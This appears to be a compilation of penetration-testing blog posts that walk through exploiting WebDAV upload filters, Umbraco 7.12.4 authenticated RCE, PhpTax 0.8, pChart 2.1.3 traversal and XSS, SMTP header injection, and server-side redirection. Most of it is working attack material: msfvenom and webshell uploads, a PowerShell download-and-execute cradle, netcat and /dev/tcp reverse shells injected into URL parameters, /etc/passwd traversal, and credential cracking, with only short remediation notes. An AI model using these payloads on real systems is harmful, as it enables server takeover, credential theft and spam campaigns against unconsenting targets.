Exploiting WebDAV

by Vry4n_ | Sep 17, 2021 | Web Exploitation

WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.

The basic functionality of WebDAV includes enabling users to share, copy, move and edit files through a web server. It can also be used to support collaborative applications with features like file locking and revision tracking.

A HTTP Server with WebDav active is a server where you probably can update, delete, move, copy files. Sometimes you need to have valid credentials (usually check with HTTP Basic Authentication).

You should try to upload some webshell and execute it from the web server to take control over the server.

Other common configuration is to forbid uploading files with extensions that will be executed by the web server, you should check how to bypass this:

• Upload files with executable extensions (maybe it's not forbidden).
• Upload files without executable extensions (like .txt) and try to rename the file (move) with an executable extension.
• Upload files without executable extensions (like .txt) and try to copy the file (move) with executable extension.
• (OPTIONAL) you can bypass by adding at the end of the name ";.txt" and the file will be executed as if it were a .asp file (you could also use ".html" instead of ".txt" but DON'T forget the ";", Then you can upload your shell as a ".txt" file and copy/move it to a ".asp;.txt" file.

WebDAV Features and Use

WebDAV extends HTTP headers for communication with a server. The new headers include:

• COPY, copy a resource
• MOVE, move a resource
• MKCOL, create a collection, for example, a folder
• PROPFIND, retrieve properties stored as XML
• PROPPATCH, change and/or remove properties
• LOCK, put a lock on a resource
• UNLOCK, remove a lock from a resource

Identify

Metasploit

1. Identify whether WebDAV is running using Metasploit. The scanner will return some HTTP information, including the Apache version number and whether WebDAV is enabled or not.

• use auxiliary/scanner/http/webdav_scanner
• show options
• set RHOST 10.10.10.15
• run

DAVtest

DAVTest tool tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.

DAVTest supports:

• Automatically send exploit files
• Automatic randomization of directory to help hide files
• Send text files and try MOVE to executable name
• Basic and Digest authorization
• Automatic clean-up of uploaded files
• Send an arbitrary file

This program attempts to exploit WebDAV enabled servers by:

• attempting to create a new directory (MKCOL)
• attempting to put test files of various programming langauges (PUT)
• optionally attempt to put files with .txt extension, then move to executable (MOVE)
• optionally attempt to put files with .txt extension, then copy to executable (COPY)
• check if files executed or were uploaded properly
• optionally upload a backdoor/shell file for languages which execute
• Additionally, this can be used to put an arbitrary file to remote systems.

https://github.com/cldrn/davtest

1. Run the tool help to see its options

• davtest --help

2. Test File Permissions with DAVTest, all we need to do is provide it with a valid URL pointing to an instance of WebDAV. Naturally, use the -url switch followed by the correct URL. It begins by testing the connection and attempts to create a test directory, which we see is a success. Next, DAVTest will send a variety of different types of files to determine what can be uploaded.

• davtest -url http://10.10.10.15

NOTE: testing for file execution. We can see there the ones that could execute .txt and .html only

• 3. Now we can check some of the files that we uploaded using PUT
• http://10.10.10.15/DavTestDir_jinj8h/davtest_jinj8h.txt

Manual DAV test

1. Create a .txt file

• echo "Welcome to Vk9 Security" > file.txt
• curl -i -s -k -X PUT http://10.10.10.15/davtest.txt -d @file.txt
• curl -i -s -k -X GET http://10.10.10.15/davtest.txt

2. We can also visit it from the browser

• http://10.10.10.15/davtest.txt

Nikto

1. Scan the website using nikto, you may find info there

• nikto -h 10.10.10.15

Nmap

• nmap -T4 -p80 --script=http-iis-webdav-vuln 10.10.10.15

Exploitation

1. Exploitation (BurpSuite)

1. We can inspect what DAVtest is doing by redirecting traffic to BurpSuite or any other web proxy. First configure the proxy to redirect traffic from the remote host to the local address

• Bind port 80 and loopback only, in binding tab

• Redirect traffic from remote host, in request handling tab

2. Make sure the listener has been created

3. If you run DAVtest to localhost, you will receive the requests into BurpSuite

• davtest -url http://localhost

4. Forwarding all the requests and then looking at the HTTP history you can inspect the activity

5. We can now create our own file using one of those PUT requests and sending it to repeater, send to repeater

6. Edit the content, and send the crafted request, in this case we got a “201 Created” response back from the server.

7. Now, if we go to the browser and visit http://10.10.10.15/vk9-sec.html we should see our crafted message

• http://10.10.10.15/vk9-sec.html

Note. Tipically, we just need to upload a reverse shell file that the server would be able to interpret.

8. First create a reverse shell, I will choose ASPX as the previous curl output indicates “X-Powered-By: ASP.NET”

• msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=9999 -f aspx

9. Start a listener, in this case I will use Metasploit

• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set LHOST 10.10.14.3
• set LPORT 9999
• run

10. Send the reverse shell code created with MSFVenom via BurpSuite repeater, as we have been doing. In this particular case we are getting “403 Forbidden”. Which means this file type is not allowed.

11. I will try to change the file name as reverse.html, as it accepted .txt and .html, it worked “201 Created” is the server response.

12. If I try to execute it, it wont work as the .html doesn’t execute .aspx

13. Looking at the other HTTP methods there is one named MOVE, we can try to rename reverse.html to reverse.aspx

• curl -i -s -k -X 'OPTIONS' 'http://10.10.10.15'

Use move to change the file name

EXAMPLE

Request

• MOVE /reverse.html HTTP/1.1
• Destination: reverse.aspx

Response

• HTTP/1.1 201 Created
• Location: http://www.contoso.com/pub2/folder2/

https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2003/aa142926(v=exchg.65)

14. Now using the same request we uploaded reverse.html, we will change the file extension to .aspx

15. Visiting the reverse.aspx file via browser show now execute our shell, we should see a white screen not a 404 page

• http://10.10.10.15/reverse.aspx

16. Looking at the meterpreter session we can now see the incoming connection

• sysinfo

2. Exploitation (Curl)

1. We will now do the same thing but using Curl. This time I will upload a webshell (cmdasp.aspx)

• cd /usr/share/webshells/aspx/
• curl -i -s -k -X PUT http://10.10.10.15/webshell.txt -d @cmdasp.aspx

Note: We got a “201 Created” response from the server which means it was uploaded.

2. Now visiting the file we uploaded we see plain text as only .txt and .html were allowed in this scenario.

• http://10.10.10.15/webshell.txt

3. Using Curl we can rename the file, to change the extension

• curl -i -s -k -X MOVE -H 'Destination:http://10.10.10.15/webshell.aspx' http://10.10.10.15/webshell.txt

4. As we got a 201 response, now we visit the new file

• http://10.10.10.15/webshell.aspx

5. We can now, run commands

• whoami

3. Exploitation (Cadaver)

cadaver is a command-line WebDAV client, with support for file upload, download, on-screen display, in place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking.

https://github.com/grimneko/cadaver

1. Display the tool help commands

• cadaver --help

2. Display tool version

• cadaver --version

3. connect to a vulnerable WebDAV host

• cadaver http://10.10.10.15
• help
• <TAB><TAB>

4. Being there you can run limited system commands, example:

• pwd
• ls
• cat file.txt

5. You delete files using DELETE method

• delete file.txt

6. Download file from the server using GET method

• get reverse.aspx
• lls

7. You can upload new files, we will upload a webshell again, first as .txt, then move it to .aspx, as .aspx was forbidden by the server

• lcd
• lls
• put cmdasp.aspx
• put cmdasp.aspx cmdasp.txt

8. Change the file extension from .txt to .aspx

• move cmdasp.txt cmdasp.aspx

9. Now you can visit the website using the browser, and find cmdasp.aspx

• http://10.10.10.15/cmdasp.aspx

Note: You can upload reverse shells or any function you need.

10. You can also forward the requests from cadaver to a proxy, I will use BurpSuite for this, so, you can inspect what the application is sending and doing, also craft those requests as you need.

• cadaver -p 127.0.0.1:8080 http://10.10.10.15

4. Exploitation (Cadaver)(authenticated)

1. Having already credentials we could try the previous technique (administrant:sleepless)

• cadaver http://muddy.ugc/webdav
• username: administrant
• password: sleepless

2. Having access we can upload our own Shell, I will use php-reverse-shell.php, edit the $ip & $port variables to match your listener

• find / -name php-reverse-shell.php 2> /dev/null
• cp /usr/share/webshells/php/php-reverse-shell.php .
• vi php-reverse-shell.php

3. Start a listener in your machine

• nc -lvp 5555

4. Now, upload the listener to the remote server, using cadaver

• ls
• put php-reverse-shell.php
• ls

5. Now execute the script, either by browser or using curl. For this demonstration I will execute it using curl

• curl http://muddy.ugc/webdav/php-reverse-shell.php -u administrant:sleepless

6. Check on your reverse shell, there should be a new session opened

• whoami

Extra (Post credentials)

1. If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:

• /etc/apache2/sites-enabled/000-default

Inside it you could find something like:

2. Inside this type of files (AuthUserFile) you will find the username and a hash of the password. These are the credentials the webdav server is using to authenticate users.

3. You can try to crack them, or to add more if for some reason you want to access the webdav server

• htpasswd /etc/apache2/users.password <USERNAME>

4. To check if the new credentials are working you can do:

• wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Extra 2 (Post credentials)

1. We can also get credentials from /var/www/html/webdav/passwd.dav , In this particular scenario I was able to read this file using LFI technique

• /var/www/html/webdav/passwd.dav

2. We can crack it using john the reaper, first create a file with the credentials to crack

• vi creds.txt
• cat creds.txt

3. Now, use john against this credential file

• john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt

Umbraco CMS 7.12.4 – (Authenticated) Remote Code Execution

by Vry4n_ | Jun 6, 2021 | Web Exploitation

Having credentials for Umbraco CMS allows us to run a reverse shell. This time we will run the exploit (https://www.exploit-db.com/exploits/49488)

How to

1. In searchsploit you can search for Umbraco exploits

• searchsploit umbraco

Note: This indicates it works on 7.12.4 version. Since we have already admin credentials for this app we will first confirm its version

2. Confirm Version, indeed, this server is running 7.12.4

3. Now, download the script, from, searchsploit

• searchsploit -m aspx/webapps/46153.py
• cat 46153.py

4. Proceed to edit the script.

• login = "XXXX;
• password="XXXX";
• host = "XXXX";

5. We will do

• login = "admin@htb.local";
• password="baconandcheese";
• host = "http://10.10.10.180";

6. Having already the login and host info in place we will modify the payload section to run a simple ping

• string cmd = ""
• proc.StartInfo.FileName = "calc.exe"

7. This will be the result

• string cmd = "/c ping 10.10.14.10"
• proc.StartInfo.FileName = "cmd.exe"

8. We are done with modifying the script. Now we will start a capture on our network interface looking for ICMP messages

• sudo tcpdump -i tun0 icmp

9. Proceed to run the script

• python3.9 46153.py

10. Check on our tcpdump command

Note: We got the ICMP traffic coming into our machine. This means the script ran successfully, now, we will get creative and run a powershell reverse shell

Powershell reverse shell

1. We will use Nishang powershell script to run, so, find it within your machine

• find / -iname Invoke-PowerShellTcp.ps1 2> /dev/null
• cp /home/vry4n/Documents/Tools/nishang/Shells/Invoke-PowerShellTcp.ps1 .
• cat Invoke-PowerShellTcp.ps1

Note: If you don’t have Nishang you can download it from (https://github.com/samratashok/nishang)

2. Edit this file, and add the line you want at the bottom, in this case I’ll use the reverse shell

.EXAMPLE

PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

3. Edit it as per your own environment (Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 8080)

• vi Invoke-PowerShellTcp.ps1
• tail Invoke-PowerShellTcp.ps1

4. Start a listener on your Kali/Parrot machine

• nc -lvp 8080

5. Also, start a web server, so, the remote machine can download and run the script we just modified

• python3.9 -m http.server 9999

6. Having the reverse shell file, the listener and the web server, we can proceed to again modify our exploit this time to run Powershell

• string cmd = "IEX(IWR http://10.10.14.10:9999/ Invoke-PowerShellTcp.ps1 -UseBasecParsing)"
• proc.StartInfo.FileName = "powershell.exe"

7. Run the script

• python3.9 46153.py

8. Check the web server and make sure the script is being downloaded, which it did 200 OK message

9. Now, check the listener and see if that executed successfully, it did

• whoami

Remedy

Upgrade to a newer version

PhpTax 0.8 – File Manipulation

by Vry4n_ | Jan 12, 2021 | Web Exploitation

PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS.

http://sourceforge.net/projects/phptax/

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

Field variable exploitation

https://www.exploit-db.com/exploits/25849

======================================

#index.php

#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']");

#LINE 31: $zz = fopen("./data/$field", "w");

#LINE 2: $field = $_GET['field'];

======================================

1. Access this page and modify the values as will

• http://{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E
• http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]); ?>
• http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php system($_GET[cmd]); ?>
• http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php shell_exec($_GET[cmd]); ?>

2. Access the data directory to find the script

• http://192.168.0.18:8080/phptax/data/

3. Locate and execute the script

• http://192.168.0.18:8080/phptax/data/rce.php?cmd=id

4. Knowing that we can execute system commands, we could also run a reverse shell

• http://192.168.0.18:8080/phptax/data/rce.php?cmd=nc%20-e%20/bin/bash%20192.168.0.13%204444
• http://192.168.0.18:8080/phptax/data/rce.php?cmd=nc -e /bin/bash 192.168.0.13 4444

pfilez variable exploitation

https://www.exploit-db.com/exploits/21665

================================

drawimage.php, line 63:

include ("./files/$_GET[pfilez]");

// makes a png image

$pfilef=str_replace(".tob",".png",$_GET[pfilez]);

$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);

Header("Content-type: image/png");

if ($_GET[pdf] == "") Imagepng($image);

if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");

if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");

================================

1. Access phptax home folder

• http://192.168.0.18:8080/phptax/index.php

2. Open any existing report, as you can see the report has a pfilez variable filled

• http://192.168.0.18:8080/phptax/index.php?pfilez=1040pg2.tob

3. Now we can inject the code to execute a reverse connection. (in this case I get the connection but immediately closes, so this is for demonstration only, may have to troubleshoot, but I’m lazy!!, we just need the proof of concept)

• http://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
• http://192.168.0.18:8080/phptax/index.php?pfilez=1040pg2.tob;nc -e /bin/sh 192.168.0.13 5555;&pdf=make
• http://192.168.0.18:8080/phptax/index.php?pfilez=1040d1-pg2.tob; bash -i >& /dev/tcp/192.168.0.13/4455 0>&1;&pdf=make

4. I even ran TCPDump to capture traffic

• tcpdump -i wlan0 | grep 192.168.0.18

Note: We can also exploit drawimage.php, instead of index.php

Using Metasploit

1. Start Metasploit service and search for “phptax”

• service postgresql start
• msfdb init
• msfconsole
• search phptax

2. select the module and display the options

• use exploit/multi/http/phptax_exec
• show options

3. show and set the payload

• show payloads
• set payload cmd/unix/reverse
• show options

4. Fill the options marked as “Required yes”

• set RHOSTS 192.168.0.18:8080
• set RPORT 8080 # in this case the app is using that port
• set LHOST 192.168.0.13

5. (EXTRA) In this particular scenario, we need to spoof the user agent to mozilla4, as per the site configuration, this is not usually required.

• set UserAgent Mozilla/4.0
• show advanced

6. Now run the exploit

• exploit

Note: I had to run it twice. The first time the session expired.

Remedy

Do some input validation.

Exploiting pChart 2.1.3 (Directory traversal & XSS)

by Vry4n_ | Jan 11, 2021 | Web Exploitation

PHP library pChart 2.1.3 (and possibly previous versions) by default contains an examples folder, where the application is vulnerable to Directory Traversal and Cross-Site Scripting (XSS).

This has been taken from (https://www.exploit-db.com/exploits/31173)

Exploiting Directory Traversal

1. Visiting the application at (http://192.168.0.18/pChart2.1.3/examples/index.php), we get to the examples folder.

2. This tool can be exploited by entering the following data

• http://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
• http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=/../../../../etc/passwd

3. Now we can start looking for config files, since this server is using Apache, so, I will read that. (Note: BSD apache config is located in /usr/local/etc/apache22/httpd.conf)

• http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf
• http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=/../../../../../usr/local/etc/apache22/httpd.conf

Note: This config file show the user agent permitted, “Mozilla4_browser”, and a virtual host on port 8080.

Directory Traversal remediation:

1) Update to the latest version of the software.

2) Remove public access to the examples folder where applicable.

3) Use a Web Application Firewall or similar technology to filter

malicious input attempts.

Exploiting XSS

This file uses multiple variables throughout the session, and most of them are vulnerable to XSS attacks. Certain parameters are persistent throughout the session and therefore persists until the user session is active. The parameters are unfiltered.

1. From a browser navigate to

• http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php

2. In there, just enter the following

• session.php?<script>alert('Vry4n has been here.')</script>
• http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php?%3Cscript%3Ealert(%27Vry4n%20has%20been%20here.%27)%3C/script%3E
• http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php?<script>alert('Vry4n has been here.')</script>

Cross-Site Scripting remediation:

1) Update to the latest version of the software.

2) Remove public access to the examples folder where applicable.

3) Use a Web Application Firewall or similar technology to filter malicious input attempts.

SMTP Injection attack

by Vry4n_ | Apr 8, 2020 | Web Exploitation

Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes.

http://projects.webappsec.org/w/page/13246948/Mail%20Command%20Injection

IMAP/SMTP structure

• Header: ending of the expected command;
• Body: injection of the new command(s);
• Footer: beginning of the expected command.

This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. It is typically exploited by spammers looking to leverage the vulnerable company's reputation to add legitimacy to their emails.

Common uses of SMTP in websites

• Submit messages via the application, such as to report a problem to support personnel
• Provide feedback about the website.
• This facility is usually implemented by interfacing with a mail (or SMTP) server.
• Typically, user-supplied input is inserted into the SMTP.

How SMTP Works

To understand how SMTP works, you need to first understand the difference between the envelope and the email body.

• The envelope is the initial part of the communication and it is part of the actual SMTP protocol.

The following commands are part of the envelope

• MAIL FROM: This command sets the envelope sender. (focus on this)
• RCPT TO: This command sets the envelope recipient. It can be used multiple times if you want the message to reach many people at once.
• DATA: This command begins the email payload.

The payload contains email headers and the message body separated by a single empty line. (\n on most UNIX and Linux systems, \r\n on Windows systems)

The email headers are not part of the SMTP protocol. They are interpreted by the mail client (the web application & some email handling libraries in programming languages.)

> MAIL FROM:<mail@vk9sec.com>

< 250 OK

> RCPT TO: <john@vk9sec.com>

< 250 OK

> RCPT TO:<lucy@vk9sec.com>

< 250 OK

> DATA

< 354 Send message content; end with <CRLF>.<CRLF>

> Content-Type: text/html

> Date: Wed, 25 D 2020 00:00:01

> From: Bryan <vry4n@vk9sec.com>

> Subject: Are you on vacation?

> To: everyone <everyone@vk9sec.com >

>

> Hello!

> I didn’t see you online!

> --

> Bryan

> .

< 250 OK

The above email would be received by john@vk9sec.com and lucy@vk9sec.com. However, they would see that it was sent by Bryan <vry4n@vk9sec.com> (not mail@vk9sec.com) and they would see that the recipient is everyone <everyone@vk9sec.com>

"<CRLF>.<CRLF>” used to terminate data

"<CRLF>” used to separate the RCPT TO values

Normal value:

• Rcpt to:vry4n@vk9sec.com

Injected:

• Rcpt to:vry4n@vk9sec.com>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

the traditional attack vectors like the following

rcpt to: vryan@vk9sec.com[CRLF]Cc: johnnny@vk9sec.com

ASCII Character Set and Hexadecimal Values

https://www.cisco.com/c/en/us/td/docs/ios/12_4/cfg_fund/command/reference/cfnapph.html

%0d%0a = [CRLF]

Example

From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com%0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello

That will translate as

• MAIL From=daf@vk9sec.com
• Subject=Site feedback
• Sometext
• .
• MAIL FROM: mail@vk9sec.com
• RCPT TO: john@vk9sec.com
• DATA
• From: mail@vk9sec.com
• To: john@vk9sec.com
• Subject: Cheap books
• Hi There
• .
• Hello
• .

SMTP commands

Header injection

E-mail Header Injection can be considered as the e-mail equivalent of HTTP Header Injection. this vulnerability exists in the implementation of the built-in mail functionality in popular languages such as

PHP = mail()

[SP] = Space

[LF] = Line feed

[CR] = equivalent to “enter” new line

rcpt to=([CRLF][SP]RCPT TO:vry4n@vk9sec.com[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail...\[LF].[CRLF][SP]QUIT[CRLF][SP]) john@vk9sec.com

Will show as

• RCPT TO:<(
• [SP]RCPT TO:vry4n@vk9sec.com
• [SP]DATA\
• Subject: spam10\
• [SP]Hello, this is a spam mail...\
• [SP]QUIT
• [SP]) john@vk9sec.com>

The former command with a leading space is confirmed to be interpreted normally, and the latter command followed by backslash

Java = JavaMail API

• rcpt to= ">[CRLF]RCPT TO:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]"@vk9sec.com

Will show as

• RCPT TO:<">
• RCPT TO:vry4n@vk9sec.com
• DATA
• (message content)
• QUIT
• "@vk9sec.com>

Python = email.header

Ruby = Net::SMTP, Mail

• rcpt to:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

Since E-mail Header Injection is caused due to improper or nonexistent sanitization of user input.

The format of e-mail messages is defined by the Simple Mail Transfer Protocol (SMTP). Each e-mail message is represented by a series of headers separated by newlines, followed by the body content (separated from the headers by two newlines).

Header components

• From
• To
• Date
• Subject
• CC
• BCC, etc

With the proper injection string, E-mail Header Injection vulnerabilities can be exploited by an attacker to inject additional headers, modify existing headers, or alter the contents of the e-mail.

Result of compromise

• An attacker can perform e-mail spoofing
• Running phishing campaigns that are sent from the actual mail server
• Spam Networks
• Information Extraction
• Denial of Service

Finding SMTP Injections flaws

1. You should submit each of the following test strings as each parameter in turn, inserting your own e-mail address at the relevant position

• <youremail>%0aCc:<youremail>
• <youremail>%0d%0aCc:<youremail>
• <youremail>%0aBcc:<youremail>
• <youremail>%0d%0aBcc:<youremail>
• %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
• %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a

2. Note any error messages the application returns. If these appear to relate to any problem in the e-mail function, investigate whether you need to fine-tune your input to exploit a vulnerability

3. The application’s responses may not indicate in any way whether a vulnerability exists or was successfully exploited. You should monitor the e-mail address you specified to see if any mail is received

4. Review closely the HTML form that generates the relevant request. This may contain clues about the server-side software being used. It may also contain a hidden or disabled field that specifies the e-mail’s To address, which you can modify directly.

Exploitation

1. Locate the email form

2. Here, users can specify a “From” address and the contents of the message. The application passes this input to the PHP mail() command, which constructs the e-mail and performs the necessary SMTP conversation with its configured mail server.

3. Utilize the application normally, to test functionality

• To: bwapp@mailinator.com
• From: vry4n@vk9security.com
• Subject: Hello There

5. Capture the request with a web proxy, in this case BurpSuite, This is a benign request

This will cause the following

• MAIL FROM: vry4n@vk9security.com
• RCPT TO: bwapp@mailinator.com
• DATA
• From: vry4n@vk9security.com
• To: bwapp@mailinator.com
• Subject:
• Hello There
• .

6. Now capture a new request and inject a BCC, CC line using new line character “%0a” or “\n”

• name=Vry4n+Unknown&email=vry4n%40vk9security.com%0d%0a bcc:bwapp%40mailinator.com&remarks=Hello+There&form=submit
• name=Vry4n+Unknown%0d%0abcc:bwapp%40mailinator.com&email=vry4n%40vk9security.com&remarks=Hello+There&form=submit

This will make the mailing server to forward the request also to the injected address

Remediation: SMTP header injection

Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.

• E-mail addresses should be checked against a suitable regular expression (which should, of course, reject any newline characters
• The message subject should not contain any newline characters, and it may be limited to a suitable length
• If the contents of a message are being used directly in an SMTP conversation, lines containing just a single dot should be disallowed

Server-side HTTP Redirection

by Vry4n_ | Apr 7, 2020 | Web Exploitation

Server-side redirection vulnerabilities arise when an application takes user controllable input and incorporates it into a URL that it retrieves using a backend HTTP request.

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

Example

If no validation of the URL is specified in the “textfile” parameter, an attacker can specify an arbitrary hostname in place of textfiles.com.

The application retrieves the specified resource, allowing the attacker to use the application as a proxy to potentially sensitive back-end services.

The application response is google page

This vulnerability allows an attacker

• An attacker may be able to use the proxy to attack third-party systems on the Internet. The malicious traffic appears to the target to originate from the server on which the vulnerable application is running.
• An attacker may be able to use the proxy to connect to arbitrary hosts on the organization’s internal network, thereby reaching targets that cannot be accessed directly from the Internet.
• An attacker may be able to use the proxy to connect back to other services running on the application server itself, circumventing firewall restrictions and potentially exploiting trust relationships to bypass authentication.
• The proxy functionality could be used to deliver attacks such as cross-site scripting by causing the application to include attacker-controlled content within its responses

Steps to exploit this vulnerability

1. Identify any request parameters that appear to contain hostnames, IP addresses, or full URLs.

2. For each parameter, modify its value to specify an alternative resource, similar to the one being requested, and see if that resource appears in the server’s response

3. Try specifying a URL targeting a server on the Internet that you control, and monitor that server for incoming connections from the application you are testing.

4. If no incoming connection is received, monitor the time taken for the application to respond. If there is a delay, the application’s back-end requests may be timing out due to network restrictions on outbound connections.

5. If you are successful in using the functionality to connect to arbitrary URLs, try to perform the following attacks

• Determine whether the port number can be specified. For example, you might supply http://mdattacker.net:22
• If successful, attempt to port-scan the internal network by using a tool such as Burp Intruder to connect to a range of IP addresses and ports in sequence
• Attempt to connect to other services on the loopback address of the application server
• Attempt to load a web page that you control into the application’s response to deliver a cross-site scripting attack

Types of attacks

Header based

Header-based being a location-header sent from the server. The benefit with this, for an attacker’s perspective, is that the redirect always works even if Javascript is not interpreted. A server side function that gets a URL as input will follow the redirect and end up somewhere else.

Javascript based

When the redirect instead happens in Javascript it only works in scenarios where Javascript is actually executed. It might not work for server-side functions, but it will work in the victim’s web browser.

• If the redirect happens in Javascript it might also be possible to cause a redirect to javascript:something(), which would be an XSS in itself.

Oauth

When you want to allow users to sign-up with external services, such as putting up a “Login with Facebook” or “Sign up with Google”-button you may choose to implement an Oauth-flow.

Remedy

Safe use of redirects and forwards can be done in a number of ways:

• Simply avoid using redirects and forwards.
• If used, do not allow the URL as user input for the destination.
• Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.
• This provides the highest degree of protection against the attack tampering with the URL.
• Be careful that this doesn't introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets
• If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
• Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).
• This should be based on a white-list approach, rather than a blacklist.
• Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to confirm.

Input Validation

When attempting to validate and sanitize user-input to determine whether the URL is safe, wherever possible you should use a built in library or function to parse the URLs, such as parse_url() in PHP, rather than rolling your own parser using regex. Additionally, make sure that you take the following into account:

• Input starting with a / to redirect to local pages is not safe. //example.org is a valid URL.
• Input starting with the desired domain name is not safe. https://example.org.attacker.com is valid.
• Only allow HTTP(S) protocols. All other protocols, including JavaScript URIs such as javascript:alert(1) should be blocked, SSH, etc
• Data URIs such as data:text/html,<script>alert(document.domain)</script> should be blocked
• URIs containing CRLF characters can lead to header injection or response splitting attacks, and should be blocked.